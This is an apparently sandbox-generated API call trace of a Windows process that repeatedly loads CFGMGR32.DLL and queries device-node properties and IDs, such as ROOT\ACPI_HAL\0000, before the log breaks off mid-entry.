[0235.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.979] malloc (_Size=0x18) returned 0x20abc281b20 [0235.979] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.979] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x486be552, dwHighDateTime=0x1d9eb0c)) [0235.980] SetEvent (hEvent=0x248) returned 1 [0236.120] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.120] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.124] malloc (_Size=0x18) returned 0x20abc281b80 [0236.124] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0236.125] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48815a62, dwHighDateTime=0x1d9eb0c)) [0236.125] SetEvent (hEvent=0x248) returned 1 [0236.131] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.131] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.135] malloc (_Size=0x18) returned 0x20abc282000 [0236.135] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.138] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4883c2f9, dwHighDateTime=0x1d9eb0c)) [0236.138] SetEvent (hEvent=0x248) returned 1 [0236.142] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.142] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.144] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.144] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.144] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.144] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.144] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.144] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.144] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.145] malloc (_Size=0x18) returned 0x20abc281a20 [0236.146] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x28, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0236.146] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4883c2f9, dwHighDateTime=0x1d9eb0c)) [0236.146] SetEvent (hEvent=0x248) returned 1 [0236.190] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.190] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.194] malloc (_Size=0x18) returned 0x20abc282080 [0236.194] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x28, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0236.194] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x488ae364, dwHighDateTime=0x1d9eb0c)) [0236.195] SetEvent (hEvent=0x248) returned 1 [0236.198] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.199] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.202] malloc (_Size=0x18) returned 0x20abc281a40 [0236.202] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.203] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x488de062, dwHighDateTime=0x1d9eb0c)) [0236.203] SetEvent (hEvent=0x248) returned 1 [0236.387] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.387] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.390] malloc (_Size=0x18) returned 0x20abc281b60 [0236.391] CM_Get_Device_IDA (in: dnDevInst=0x5, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\ACPI_HAL\\0000") returned 0x0 [0236.391] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x48a9e1b5, dwHighDateTime=0x1d9eb0c)) [0236.391] SetEvent (hEvent=0x248) returned 1 [0236.395] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.395] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.398] malloc (_Size=0x18) returned 0x20abc281b60 [0236.399] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0236.399] malloc (_Size=0x14) returned 0x20abc281ec0 [0236.399] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281ec0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281ec0, pulLength=0x2dc22fd3f8) returned 0x0 [0236.399] free (_Block=0x20abc281ec0) [0236.399] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x48ac4541, dwHighDateTime=0x1d9eb0c)) [0236.400] SetEvent (hEvent=0x248) returned 1 [0236.403] malloc (_Size=0x18) returned 0x20abc281bc0 [0236.403] SafeArrayPutElement (psa=0x20abbaf24a0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0236.403] free (_Block=0x20abc281bc0) [0236.403] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d6f0 [0236.403] SafeArrayGetDim (psa=0x20abbaf24a0) returned 0x1 [0236.403] SafeArrayGetLBound (in: psa=0x20abbaf24a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0236.403] SafeArrayGetUBound (in: psa=0x20abbaf24a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0236.403] 